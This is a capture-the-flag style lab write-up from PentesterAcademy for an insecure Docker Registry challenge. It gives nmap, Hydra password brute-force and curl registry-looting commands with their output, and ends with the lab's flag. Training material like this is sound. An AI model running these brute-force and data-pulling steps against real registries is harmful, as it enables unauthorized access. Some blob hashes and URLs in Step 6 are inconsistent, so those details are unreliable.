
ATTACK
DEFENSE
by PentesterAcademy

Name	Insecure Docker Registry III
URL	https://www.attackdefense.com/challengedetails?cid=1027
Type	DevSecOps : Docker Registry

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

Step 1: Run an nmap scan against the target IP

Command: nmap -p- -sV 192.177.254.3

```
root@attackdefense:~# nmap -p- -sV 192.177.254.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-13 20:01 UTC
Nmap scan report for iekdixu41ouzleqyrvwm54n6s.temp-network_a-177-254 (192.177.254.3)
Host is up (0.000023s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.0 (Ubuntu)
MAC Address: 02:42:C0:B1:FE:03 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 9.00 seconds
root@attackdefense:~#
```

Step 2: Try to access the content hosted on the remote machine using curl.

Command: curl -I http://192.177.254.3

```
root@attackdefense:~# curl -I 192.177.254.3
HTTP/1.1 401 Unauthorized
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 13 May 2019 20:02:42 GMT
Content-Type: text/html
Content-Length: 204
Connection: keep-alive
WWW-Authenticate: Basic realm="Registry realm"

root@attackdefense:~#
```

Step 3: The Nginx web server is protected using Basic authentication. Perform a dictionary attack on it

Command: hydra -l bob -P wordlists/100-common-passwords.txt 192.177.254.3 http-get /

```
root@attackdefense:~# hydra -l bob -P wordlists/100-common-passwords.txt 192.177.254.3  http-get /
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-05-13 20:03:41
[DATA] max 16 tasks per 1 server, overall 16 tasks, 100 login tries (l:1/p:100), ~7 tries per task
[DATA] attacking http-get://192.177.254.3:80//
[80][http-get] host: 192.177.254.3   login: bob   password: bubbles1
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-05-13 20:03:42
root@attackdefense:~#
```

Step 4: We can use these credentials to query the registry.

Command: curl -k -u bob:bubbles1 https://192.177.254.3/v2/_catalog

Command: curl -k -u bob:bubbles1 https://192.177.254.3/v2/trophy/tags/list

```
root@attackdefense:~#
root@attackdefense:~# curl -u bob:bubbles1 192.177.254.3/v2/_catalog
{"repositories":["trophy"]}
root@attackdefense:~#
root@attackdefense:~#
root@attackdefense:~# curl -u bob:bubbles1 192.177.254.3/v2/trophy/tags/list
{"name":"trophy","tags":["latest"]}
root@attackdefense:~#
```

Step 5: There is only one image. Fetch manifests for this image.

Command: curl http://192.177.254.3/v2/trophy/manifests/latest

```
root@attackdefense:~# curl -u bob:bubbles1 192.177.254.3/v2/trophy/manifests/latest
{
   "schemaVersion": 1,
   "name": "trophy",
   "tag": "latest",
   "architecture": "amd64",
   "fsLayers": [
      {
         "blobSum": "sha256:e1528abf1daa64e8625a26b63a074a450513275f3f8002087a2e5137ca0e62d6"
      },
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
      }
   ],
```

Step 6: Pull all three layers of this image using curl and untar those.

Command: curl -s -k -u bob:bubbles1 https://192.177.254.3/v2/trophy/blobs/sha256:f287fcae3f508f07ad566d43be1a5715b9308bfd4a2b034104ab039d367521cf --output 1.tar

Extract all the layers one by one in the same directory.

Command: tar -xf 1.tar

```
root@attackdefense:~# curl -s -u bob:bubbles1 http://192.177.254.3/v2/trophy/blobs/sha256:e1528abf1daa64e8625a26b63a074a450513275f3f8002087a2e5137ca0e62d6 --output 1.tar
root@attackdefense:~# curl -s -u bob:bubbles1 http://192.177.254.3/v2/trophy/blobs/sha256:e1528abf1daa64e8625a26b63a074a450513275f3f8002087a2e5137ca0e62d6 --output 2.tar
root@attackdefense:~# curl -s -u bob:bubbles1 http://192.177.254.3/v2/trophy/blobs/sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10 --output 3.tar
root@attackdefense:~# tar -xf 1.tar
root@attackdefense:~# tar -xf 2.tar
root@attackdefense:~# tar -xf 3.tar
```

Step 7: Look for flag file in extracted files/directories.

Command: find . -name *flag* 2>/dev/null

```
root@attackdefense:~#
root@attackdefense:~# find . -name *flag*
./bin/flag.txt
root@attackdefense:~# cat bin/flag.txt
50c102ca94d35fe029f6e2eff563cae5
root@attackdefense:~#
```

Flag: 50c102ca94d35fe029f6e2eff563cae5

References

1. Docker (https://www.docker.com/)
2. Docker Registry API (https://docs.docker.com/registry/spec/api/)